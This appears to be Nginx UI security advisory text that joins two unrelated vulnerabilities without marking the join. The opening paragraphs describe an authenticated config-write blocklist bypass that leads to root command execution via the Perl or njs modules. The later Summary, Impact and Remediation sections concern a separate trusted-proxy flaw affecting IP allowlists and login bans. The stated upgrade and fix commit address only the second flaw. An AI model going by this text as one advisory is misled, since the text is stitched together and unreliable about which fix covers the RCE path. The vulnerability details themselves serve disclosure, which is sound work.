Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
Summary
In Nginx UI versions 2.2.0 through 2.5.x, the official bundled reverse-proxy topology did not preserve the external client identity used by Gin. The backend treated the local proxy peer as the client because no trusted proxy was configured, while the proxy supplied the actual address in forwarding headers.
Impact
This has two distinct effects in bundled-proxy deployments:
IP allowlist enforcement: management API requests forwarded by the bundled proxy were identified as loopback and could pass the loopback exception even when the external source was not in the configured allowlist. Protected management operations still required valid credentials; this did not grant unauthenticated administrator access. Login availability: failed login attempts from different external sources were attributed to one loopback address. An unauthenticated attacker could therefore trigger the shared temporary login-ban threshold and deny password or OTP login to other users behind the proxy until the ban expired. Existing authenticated sessions were not invalidated.
Remediation
Upgrade to Nginx UI 2.6.0 or later. The fix explicitly trusts only the intended bundled proxy, validates configured trusted proxies, uses the resolved client address consistently, and fails closed when an IP allowlist is enabled but the client address is invalid.
Fix commit: https://github.com/0xJacky/nginx-ui/commit/e30e331303fc21cf077a2bea724bd79e66892eaf